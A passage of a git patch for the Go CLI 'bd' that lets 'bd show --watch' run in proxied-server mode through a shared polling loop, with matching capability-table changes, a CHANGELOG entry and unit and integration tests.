&scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {issue: sameAgain}, + {err: errors.New("backend blip")}, + {issue: inProgress}, + {issue: inProgress}, + {issue: touched}, + }, + } + watched, _ := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + // Poll order: unchanged, failed read, status change, unchanged, + // updated_at change. + if want := []int{1, 1, 1, 2, 2}; !slices.Equal(src.rendersAtFetch, want) { + t.Fatalf("renders before each poll = %v, want %v", src.rendersAtFetch, want) + } + if src.renders != 3 { + t.Fatalf("renders = %d, want 3 (initial, status change, updated_at change)", src.renders) + } +} + +// TestWatchIssueLoopFailedPollsStayQuiet pins the poll-failure rule both routes +// share: a poll that fails (a deleted issue, a unit of work that will not open) +// keeps the last render and prints nothing, however many ticks it lasts, and a +// later successful poll with a change redraws as usual. The proxied route used +// to print an error line — under --json, an error object — on every tick. +func TestWatchIssueLoopFailedPollsStayQuiet(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-2", Status: types.StatusOpen, UpdatedAt: base} + closed := &types.Issue{ID: "w-2", Status: types.StatusClosed, UpdatedAt: base.Add(time.Second)} + + src := &scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {err: errors.New("issue w-2 not found")}, + {err: errors.New("open unit of work: connection refused")}, + {err: errors.New("issue w-2 not found")}, + {issue: closed}, + }, + } + watched, stderr := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + if strings.Contains(stderr, "not found") || strings.Contains(stderr, "connection refused") || strings.Contains(stderr, "Error") { + t.Fatalf("failed polls printed to stderr:\n%s", stderr) + } + // Initial banner, the redraw's banner after the recovery, and the stop line. + if got := strings.Count(stderr, "Watching for changes..."); got != 2 { + t.Fatalf("banner printed %d times, want 2 (initial + one redraw):\n%s", got, stderr) + } + if src.renders != 2 { + t.Fatalf("renders = %d, want 2 (initial, redraw after recovery)", src.renders) + } +} + +// TestWatchIssueLoopStopsWhenNothingToWatch pins that a failed initial render +// returns at once rather than polling an issue that was never shown. +func TestWatchIssueLoopStopsWhenNothingToWatch(t *testing.T) { + src := issueWatchSource{ + render: func(context.Context) *types.Issue { return nil }, + fetch: func(context.Context) (*types.Issue, error) { + t.Fatal("fetch called after a failed initial render") + return nil, nil + }, + } + if watchIssueLoop(context.Background(), src, make(chan time.Time), make(chan os.Signal)) { + t.Fatal("watchIssueLoop reported watching after a failed initial render") + } +} From e25e5a71d3420ddbb8b5ea4ded08ae0fb5230333 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:22:09 -0700 Subject: [PATCH 224/624] fix(show): support bd show --watch under --proxied-server (#6933) bd show --watch was refused in proxied-server mode (proxy.watch.unsupported). The direct and proxied routes now share one watch loop (2s poll, redraw on id:status:updated_at change, SIGINT/SIGTERM stop); the proxied route opens a short read per render/poll. A missing id now exits 1 on both routes, and failed polls keep the last render quietly. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit 5ac483bc75fc6b6c872c076b8554c8569a46f693) hand-resolved: cmd/bd/proxy_capability.go: the hotfix front door keys on cmd.Name(), not commandRegistryPath; dropped its show --watch refusal block and kept the hotfix's ready block unchanged. cmd/bd/show_proxied_server.go: took main's side (in-runner watch refusal removed). cmd/bd/proxy_capability_test.go: took main's newProxyFrontDoorCommand and create/--repo front-door tests; kept both the hotfix's TestProxyCapabilityRefusalDoesNotNeedProvider and main's TestProxyFrontDoorAdmitsShowWatch. CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; cmd/bd/BUILD.bazel dropped (no Bazel on hotfix/1.3.1). --- CHANGELOG.md | 12 + cmd/bd/proxy_capability.go | 13 +- cmd/bd/proxy_capability_test.go | 56 ++++- cmd/bd/show.go | 3 +- cmd/bd/show_display.go | 96 +++++--- cmd/bd/show_embedded_test.go | 25 ++ cmd/bd/show_proxied_integration_test.go | 11 - cmd/bd/show_proxied_server.go | 59 +++-- cmd/bd/show_proxied_watch.go | 57 +++++ cmd/bd/show_proxied_watch_integration_test.go | 216 ++++++++++++++++++ cmd/bd/show_watch_loop_test.go | 152 ++++++++++++ 11 files changed, 618 insertions(+), 82 deletions(-) create mode 100644 cmd/bd/show_proxied_watch.go create mode 100644 cmd/bd/show_proxied_watch_integration_test.go create mode 100644 cmd/bd/show_watch_loop_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index eec177eb2..827c55fe9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd show --watch` works under `--proxied-server`.** It was refused with + `proxy.watch.unsupported` although the provider can answer the poll the way + `bd list --watch` already does, so every proxied workspace — the default + transport for managed-local setups — had no way to watch a bead. The proxied + route now shares the direct route's loop: render once, re-read every 2s, + redraw only when the issue's status or `updated_at` changes, stop cleanly on + Ctrl+C/SIGTERM, and require exactly one id. Each poll opens its own short + unit of work, so a long watch never pins a transaction, and a poll that + fails (the issue was deleted, the backend blipped) keeps the last render + without printing, as on the direct route. On both routes a watch whose id + cannot be found now exits non-zero instead of 0. + - **A server-mode workspace with an empty `.beads/dolt` is no longer refused as legacy** ([#5682](https://github.com/gastownhall/beads/issues/5682), diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 73869cdc7..f946c6c33 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -166,8 +166,10 @@ var ( // is threading it through the UOW reader the way `list` already does, so // the refusal itself is the gap. maxRowsRefusal = refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) - // `list --watch` is routed, so watching is possible over the provider; - // nothing else has been wired to it. + // The mode-wide default for a --watch that has not been wired to the + // provider. Both commands that register the flag (`list`, `show`) poll the + // provider and are honored per-command below, so this refuses only a + // future --watch until someone routes it. watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) ) @@ -197,7 +199,7 @@ var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRul } var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ - "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, + "show": {ProxyModeProxied: {ProxyCapWatch: honored()}}, "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, @@ -305,11 +307,6 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { if name == "create" && cmd.Flags().Changed("repo") { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) } - if name == "show" { - if watch, _ := cmd.Flags().GetBool("watch"); watch { - return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) - } - } if name == "ready" { maxRows, _, err := resolveMaxRows(cmd) if err != nil { diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 4e104b1a5..c7b14ea33 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -126,7 +126,7 @@ func TestProxyCapabilityCommandRows(t *testing.T) { {"ready", "--max-rows", ProxyOutcomeRefused}, {"graph", "--max-rows", ProxyOutcomeRefused}, {"find-duplicates", "--max-rows", ProxyOutcomeRefused}, - {"show", "--watch", ProxyOutcomeRefused}, + {"show", "--watch", ProxyOutcomeHonored}, {"list", "--watch", ProxyOutcomeHonored}, } for _, topology := range []ProxyTopology{ProxyTopologyManagedLocal, ProxyTopologyExternalTCP, ProxyTopologyExternalUnix} { @@ -290,17 +290,32 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { } } +// newProxyFrontDoorCommand builds `bd --` under a real root. The +// root matters: the front door keys on a command's path below its root, so a +// parentless command has no path and matches no rule — which is how a test +// tree can report success for a refusal that never fired. +func newProxyFrontDoorCommand(t *testing.T, use, flag string) *cobra.Command { + t.Helper() + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: use} + cmd.Flags().Bool(flag, false, "") + root.AddCommand(cmd) + if err := cmd.Flags().Set(flag, "true"); err != nil { + t.Fatal(err) + } + if got := commandRegistryPath(cmd); got != use { + t.Fatalf("test command path = %q, want %q", got, use) + } + return cmd +} + func TestProxyCapabilityRefusalFrontDoorTextBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = false t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") - if err := cmd.Flags().Set("watch", "true"); err != nil { - t.Fatal(err) - } + cmd := newProxyFrontDoorCommand(t, "create", "repo") got := captureStderr(t, func() { _ = validateProxyCapabilitiesBeforeProvider(cmd) }) - if !strings.Contains(got, "watch mode not supported in proxied-server mode") { + if !strings.Contains(got, "--repo is not supported with --proxied-server") { t.Fatalf("text refusal = %q", got) } } @@ -309,14 +324,12 @@ func TestProxyCapabilityRefusalFrontDoorJSONIncludesCode(t *testing.T) { oldJSON := jsonOutput jsonOutput = true t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") - _ = cmd.Flags().Set("watch", "true") + cmd := newProxyFrontDoorCommand(t, "create", "repo") out := captureStdout(t, func() error { _ = validateProxyCapabilitiesBeforeProvider(cmd) return nil }) - if !strings.Contains(out, `"code": "proxy.watch.unsupported"`) { + if !strings.Contains(out, `"code": "proxy.repo.unsupported"`) { t.Fatalf("JSON refusal = %q", out) } } @@ -337,6 +350,27 @@ func TestProxyCapabilityRefusalDoesNotNeedProvider(t *testing.T) { } } +// TestProxyFrontDoorAdmitsShowWatch pins that `bd show --watch` reaches the +// proxied provider. It used to be refused here with proxy.watch.unsupported, +// although the provider can answer the poll exactly as `list --watch` does. +func TestProxyFrontDoorAdmitsShowWatch(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + cmd := newProxyFrontDoorCommand(t, "show", "watch") + var err error + out := captureStdout(t, func() error { + err = validateProxyCapabilitiesBeforeProvider(cmd) + return nil + }) + if err != nil || strings.Contains(out, "proxy.watch.unsupported") { + t.Fatalf("front door refused show --watch: err=%v out=%q", err, out) + } + if err := AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch); err != nil { + t.Fatalf("show --watch capability refused: %v", err) + } +} + func TestProxyCapabilityDirectEscapeHatch(t *testing.T) { for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows, ProxyCapWatch, ProxyCapRepo} { if err := AssertProxyCapability(ProxyModeDirect, cap); err != nil { diff --git a/cmd/bd/show.go b/cmd/bd/show.go index cfc0e3b35..8d0c96880 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -99,8 +99,7 @@ var showCmd = &cobra.Command{ if len(args) != 1 { return HandleErrorRespectJSON("watch mode requires exactly one issue ID") } - watchIssue(ctx, args[0]) - return nil + return watchIssue(ctx, args[0]) } if showThread { diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index a3e065604..8ff78de67 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -14,73 +14,109 @@ import ( "github.com/steveyegge/beads/internal/uimd" ) -// displayShowIssue displays a single issue (reusable for watch mode). -// Matches the full bd show output: header, metadata, content, labels, deps, comments. -func displayShowIssue(ctx context.Context, issueID string) { - displayShowIssueReturn(ctx, issueID) -} - // singleIssueSnapshot builds a comparable string from a single issue's state // so we can detect when the issue has changed between poll cycles. func singleIssueSnapshot(issue *types.Issue) string { return fmt.Sprintf("%s:%s:%d", issue.ID, issue.Status, issue.UpdatedAt.UnixNano()) } +// issueWatchSource is what a `bd show --watch` loop reads from. render draws +// the full view and returns the issue it drew, or nil when there was nothing to +// draw (it reports why itself); fetch re-reads the issue for the change check +// and must not print anything, since the loop owns what a failed poll means. +// The direct store and the proxied-server provider each supply one, so both +// routes share the snapshot, redraw and poll-failure rules below instead of +// copying them. +type issueWatchSource struct { + render func(ctx context.Context) *types.Issue + fetch func(ctx context.Context) (*types.Issue, error) +} + +// showWatchPollInterval is how often a watched issue is re-read. +const showWatchPollInterval = 2 * time.Second + // watchIssue polls for changes to an issue and auto-refreshes the display (GH#654). // Uses polling instead of fsnotify because Dolt stores data in a server-side // database, not files — file watchers never fire. -func watchIssue(ctx context.Context, issueID string) { - // Initial display and snapshot - issue := displayShowIssueReturn(ctx, issueID) +func watchIssue(ctx context.Context, issueID string) error { + return runIssueWatch(ctx, issueWatchSource{ + render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID) }, + fetch: func(ctx context.Context) (*types.Issue, error) { return fetchIssue(ctx, issueID) }, + }) +} + +// runIssueWatch drives watchIssueLoop on a real ticker until Ctrl+C or SIGTERM. +// It fails when the initial render found nothing to watch; the render has +// already said why, so the failure is silent. +func runIssueWatch(ctx context.Context, src issueWatchSource) error { + // Deferred Stop prevents signal handler leak + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + defer signal.Stop(sigChan) + + ticker := time.NewTicker(showWatchPollInterval) + defer ticker.Stop() + + if !watchIssueLoop(ctx, src, ticker.C, sigChan) { + return SilentExit() + } + return nil +} + +// watchIssueLoop renders the issue once, then on every tick re-reads it and +// redraws only when singleIssueSnapshot changes. A poll that fails — the +// issue was deleted, the backend blipped, a unit of work would not open — keeps +// the last render on screen and is retried on the next tick without printing: +// the watch is a live view, and a line (or, under --json, an error object) on +// every tick for a condition the user can already see would bury it. It +// returns when stop fires, or immediately, reporting false, when the initial +// render found nothing to watch. +func watchIssueLoop(ctx context.Context, src issueWatchSource, tick <-chan time.Time, stop <-chan os.Signal) bool { + issue := src.render(ctx) if issue == nil { - return + return false } lastSnapshot := singleIssueSnapshot(issue) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") - // Handle Ctrl+C — deferred Stop prevents signal handler leak - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) - defer signal.Stop(sigChan) - - pollInterval := 2 * time.Second - ticker := time.NewTicker(pollInterval) - defer ticker.Stop() - for { select { - case <-sigChan: + case <-stop: fmt.Fprintf(os.Stderr, "\nStopped watching.\n") - return - case <-ticker.C: - issue := fetchIssue(ctx, issueID) - if issue == nil { + return true + case <-tick: + issue, err := src.fetch(ctx) + if err != nil || issue == nil { continue } snap := singleIssueSnapshot(issue) if snap != lastSnapshot { lastSnapshot = snap - displayShowIssue(ctx, issueID) + src.render(ctx) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } } } } -// fetchIssue retrieves a single issue by ID, returning nil on error. -func fetchIssue(ctx context.Context, issueID string) *types.Issue { +// fetchIssue retrieves a single issue by ID without printing anything. +func fetchIssue(ctx context.Context, issueID string) (*types.Issue, error) { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { defer result.Close() } - if err != nil || result == nil || result.Issue == nil { - return nil + if err != nil { + return nil, err } - return result.Issue + if result == nil || result.Issue == nil { + return nil, fmt.Errorf("issue %s not found", issueID) + } + return result.Issue, nil } // displayShowIssueReturn displays a single issue and returns it for snapshot use. +// Matches the full bd show output: header, metadata, content, labels, deps, comments. func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index 87df8f99d..8780a090c 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -3,13 +3,16 @@ package main import ( + "context" "encoding/json" + "errors" "fmt" "os" "os/exec" "strings" "sync" "testing" + "time" "github.com/steveyegge/beads/internal/types" ) @@ -148,6 +151,28 @@ func TestEmbeddedShow(t *testing.T) { bdShowFail2(t, bd, dir, "ts-nonexistent999") }) + // A watch on an id that does not exist used to print "Issue not found" + // and exit 0 on this route, watching nothing. It now exits 1 like plain + // `bd show `, and like the proxied route. + t.Run("show_watch_nonexistent_id_exits_1", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, bd, "show", "ts-nonexistent999", "--watch") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if ctx.Err() != nil { + t.Fatalf("bd show --watch on a missing id kept watching:\n%s", out) + } + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("bd show --watch on a missing id: err=%v, want exit 1\n%s", err, out) + } + if !strings.Contains(string(out), "ts-nonexistent999") { + t.Errorf("output does not name the missing id:\n%s", out) + } + }) + t.Run("show_no_args", func(t *testing.T) { bdShowFail2(t, bd, dir) }) diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index b31bc6dad..0dc2c961d 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -908,17 +908,6 @@ func TestProxiedServerShow3(t *testing.T) { } }) - t.Run("show_watch_rejected_in_proxied_mode", func(t *testing.T) { - t.Parallel() - p := newSharedProxiedProject(t, bd, "swt") - issue := bdProxiedCreate(t, bd, p.dir, "Watch test", "--type", "task") - stdout, stderr := bdProxiedShowFail(t, bd, p.dir, issue.ID, "--watch") - combined := stdout + stderr - if !strings.Contains(combined, "watch mode not supported in proxied-server mode") { - t.Errorf("expected proxied watch-rejection error, got: %s", combined) - } - }) - t.Run("show_wisp_comments_default_count_only", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "swcc") diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 26a9d3826..fee04107b 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -94,16 +94,47 @@ func proxiedIssueReader() (issueops.Reader, error) { func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { in := gatherShowProxiedInput(cmd, args) - if in.watchMode { - return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) - } - uw, err := proxiedOpenReadUOW(ctx) if err != nil { return err } + + if err := resolveShowProxiedIDs(ctx, uw, in); err != nil { + uw.Close(ctx) + return err + } + + // Same precedence as the direct route: --as-of answers a point-in-time + // read, which has nothing to watch. + if in.watchMode && in.asOfRef == "" { + // The watch opens a fresh unit of work per poll; holding this one + // would pin a transaction for as long as the user watches. + uw.Close(ctx) + if len(in.ids) != 1 { + return HandleErrorRespectJSON("watch mode requires exactly one issue ID") + } + return runIssueWatch(ctx, proxiedIssueWatchSource(in)) + } defer uw.Close(ctx) + switch { + case in.asOfRef != "": + runShowProxiedAsOf(ctx, uw, in) + case in.thread: + return runShowProxiedThread(ctx, uw, in) + case in.refs: + runShowProxiedRefs(ctx, uw, in) + case in.children: + runShowProxiedChildren(ctx, uw, in) + default: + return runShowProxiedDefault(ctx, uw, in) + } + return nil +} + +// resolveShowProxiedIDs turns --current into an explicit id and rejects an +// empty id list, the same checks the direct route makes before dispatching. +func resolveShowProxiedIDs(ctx context.Context, uw uow.UnitOfWork, in *showProxiedInput) error { if in.currentMode { if len(in.ids) > 0 { return HandleErrorRespectJSON("--current cannot be combined with explicit issue IDs") @@ -118,19 +149,6 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string if len(in.ids) == 0 { return HandleErrorRespectJSON("at least one issue ID is required (use positional args, --id flag, or --current)") } - - switch { - case in.asOfRef != "": - runShowProxiedAsOf(ctx, uw, in) - case in.thread: - return runShowProxiedThread(ctx, uw, in) - case in.refs: - runShowProxiedRefs(ctx, uw, in) - case in.children: - runShowProxiedChildren(ctx, uw, in) - default: - return runShowProxiedDefault(ctx, uw, in) - } return nil } @@ -504,9 +522,10 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss // A READ on an ALTERNATE view. `bd show`'s detail view is on // issueops.Reader on both routes and gets its labels hydrated there; this - // renderer serves --refs, --children, --thread and --as-of, which answer - // with shapes the Reader contract does not describe, from a unit of work - // the caller already holds and has already read the issue from. Asking the + // renderer serves the text views the Reader contract does not describe — + // --refs, --children, --thread, --as-of, and every render of --watch + // (show_proxied_watch.go) — from a unit of work the caller already holds + // and has already read the issue from. Asking the // role here would open a second transaction to re-fetch a row this function // was handed. Alternate views reaching roles of their own is the follow-up // (ga-2ltro.12). diff --git a/cmd/bd/show_proxied_watch.go b/cmd/bd/show_proxied_watch.go new file mode 100644 index 000000000..16e97f663 --- /dev/null +++ b/cmd/bd/show_proxied_watch.go @@ -0,0 +1,57 @@ +package main + +import ( + "context" + "errors" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" +) + +// proxiedIssueWatchSource feeds `bd show --watch` from the proxied-server +// provider. Every render and every poll opens its own short unit of work, so a +// long watch never pins a transaction and each read sees the latest commit. +// After the first render the resolved id is used, so a partial id is resolved +// once, as the direct route's first render does. +func proxiedIssueWatchSource(in *showProxiedInput) issueWatchSource { + id := in.ids[0] + formatTime := func(t time.Time) string { + if in.localTime { + t = t.Local() + } + return t.Format("2006-01-02 15:04") + } + return issueWatchSource{ + render: func(ctx context.Context) *types.Issue { + uw, err := proxiedOpenReadUOW(ctx) + if err != nil { + return nil + } + defer uw.Close(ctx) + issue, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + if err != nil { + reportIssueLookupFailure("fetching", id, err) + return nil + } + id = issue.ID + proxiedRenderIssue(ctx, uw, issue, isWisp, in, 0, formatTime) + return issue + }, + // Opens its unit of work directly rather than through + // proxiedOpenReadUOW, which reports its own failure: a poll must stay + // silent and leave the verdict to watchIssueLoop. + fetch: func(ctx context.Context) (*types.Issue, error) { + if uowProvider == nil { + return nil, errors.New("proxied-server UOW provider not initialized") + } + uw, err := uowProvider.NewUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + issue, _, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + return issue, err + }, + } +} diff --git a/cmd/bd/show_proxied_watch_integration_test.go b/cmd/bd/show_proxied_watch_integration_test.go new file mode 100644 index 000000000..76cd72f23 --- /dev/null +++ b/cmd/bd/show_proxied_watch_integration_test.go @@ -0,0 +1,216 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os/exec" + "strings" + "sync" + "syscall" + "testing" + "time" +) + +// watchBannerWriter buffers a stream and signals every time the watch banner +// is printed, so a test can wait for the Nth render instead of sleeping. +type watchBannerWriter struct { + mu sync.Mutex + buf bytes.Buffer + count int + renders chan int +} + +const showWatchBanner = "Watching for changes..." + +func (w *watchBannerWriter) Write(p []byte) (int, error) { + w.mu.Lock() + defer w.mu.Unlock() + n, err := w.buf.Write(p) + if now := strings.Count(w.buf.String(), showWatchBanner); now > w.count { + w.count = now + select { + case w.renders <- now: + default: + } + } + return n, err +} + +func (w *watchBannerWriter) String() string { + w.mu.Lock() + defer w.mu.Unlock() + return w.buf.String() +} + +// waitForRender blocks until the banner has been printed at least want times, +// giving up when the process exits or the timeout elapses. +func (w *watchBannerWriter) waitForRender(want int, timeout time.Duration, exited <-chan struct{}) bool { + deadline := time.After(timeout) + for { + w.mu.Lock() + got := w.count + w.mu.Unlock() + if got >= want { + return true + } + select { + case <-w.renders: + case <-exited: + w.mu.Lock() + defer w.mu.Unlock() + return w.count >= want + case <-deadline: + return false + } + } +} + +// TestProxiedServerShowWatch pins `bd show --watch` under --proxied-server to +// the direct route's contract: render once, redraw when the issue's +// status/updated_at snapshot changes, and stop cleanly on SIGINT. Proxied mode +// used to refuse it outright (proxy.watch.unsupported), so every consumer on +// the default proxied transport had to reimplement the poll itself. +func TestProxiedServerShowWatch(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("redraws_on_change_and_stops_on_interrupt", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swr") + issue := bdProxiedCreate(t, bd, p.dir, "Watch me", "--type", "task") + + var stdout bytes.Buffer + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = &stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + var waitErr error + exited := make(chan struct{}) + go func() { + waitErr = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + if strings.Contains(stderr.String(), "not supported") { + t.Fatalf("bd show --watch refused under --proxied-server:\n%s", stderr.String()) + } + + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--status", "in_progress") + + if !stderr.waitForRender(2, 60*time.Second, exited) { + t.Fatalf("bd show --watch did not redraw after the status change\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + + if err := cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd show --watch: %v", err) + } + select { + case <-exited: + if waitErr != nil { + t.Fatalf("bd show --watch exited with %v after SIGINT, want 0\nstderr:\n%s", waitErr, stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd show --watch ignored SIGINT\nstderr:\n%s", stderr.String()) + } + if !strings.Contains(stderr.String(), "Stopped watching.") { + t.Errorf("stderr lacks the stop line:\n%s", stderr.String()) + } + + out := stdout.String() + if got := strings.Count(out, "Watch me"); got < 2 { + t.Errorf("stdout rendered the issue %d time(s), want an initial render and a redraw:\n%s", got, out) + } + if !strings.Contains(strings.ToUpper(out), "IN_PROGRESS") { + t.Errorf("redraw does not show the new status:\n%s", out) + } + }) + + // A poll that fails keeps the last render and prints nothing: the route + // used to print "Error refreshing " every 2s once the issue was + // deleted, and under --json an error object on stdout each time. + t.Run("deleted_issue_polls_stay_quiet", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swd") + issue := bdProxiedCreate(t, bd, p.dir, "Watch then delete", "--type", "task") + + // Locked: stdout is read while the child is still writing to it. + stdout := &watchBannerWriter{renders: make(chan int, 1)} + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "--json", "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + exited := make(chan struct{}) + go func() { + _ = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + before := len(stdout.String()) + bdProxiedDelete(t, bd, p.dir, issue.ID, "--force") + + // Several poll intervals, so a per-tick report would have fired. + select { + case <-exited: + t.Fatalf("bd show --watch exited after the issue was deleted\nstderr:\n%s", stderr.String()) + case <-time.After(3 * showWatchPollInterval): + } + if after := stdout.String()[before:]; after != "" { + t.Errorf("stdout grew after the delete:\n%s", after) + } + if strings.Contains(stderr.String(), "Error") || strings.Contains(stderr.String(), "not found") { + t.Errorf("stderr reported the failed polls:\n%s", stderr.String()) + } + }) + + t.Run("missing_id_fails_instead_of_watching", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swm") + stdout, stderr, err, timedOut := bdProxiedRunDeadline(t, bd, p.dir, 60*time.Second, "show", "swm-nonexistent999", "--watch") + if timedOut { + t.Fatalf("bd show --watch on a missing id kept watching\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if err == nil { + t.Fatalf("bd show --watch on a missing id exited 0\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if want := "Issue swm-nonexistent999 not found"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want it to contain %q", stderr, want) + } + }) + + t.Run("requires_exactly_one_id", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swo") + a := bdProxiedCreate(t, bd, p.dir, "Watch A", "--type", "task") + b := bdProxiedCreate(t, bd, p.dir, "Watch B", "--type", "task") + stdout, stderr := bdProxiedShowFail(t, bd, p.dir, a.ID, b.ID, "--watch") + if combined := stdout + stderr; !strings.Contains(combined, "watch mode requires exactly one issue ID") { + t.Errorf("want the direct route's one-id error, got:\n%s", combined) + } + }) +} diff --git a/cmd/bd/show_watch_loop_test.go b/cmd/bd/show_watch_loop_test.go new file mode 100644 index 000000000..d45b75c08 --- /dev/null +++ b/cmd/bd/show_watch_loop_test.go @@ -0,0 +1,152 @@ +package main + +import ( + "context" + "errors" + "os" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// watchPoll is one scripted fetch result. +type watchPoll struct { + issue *types.Issue + err error +} + +// scriptedWatchSource replays a fixed sequence of fetch results and counts +// renders, so the loop's redraw rule can be checked without a store. +type scriptedWatchSource struct 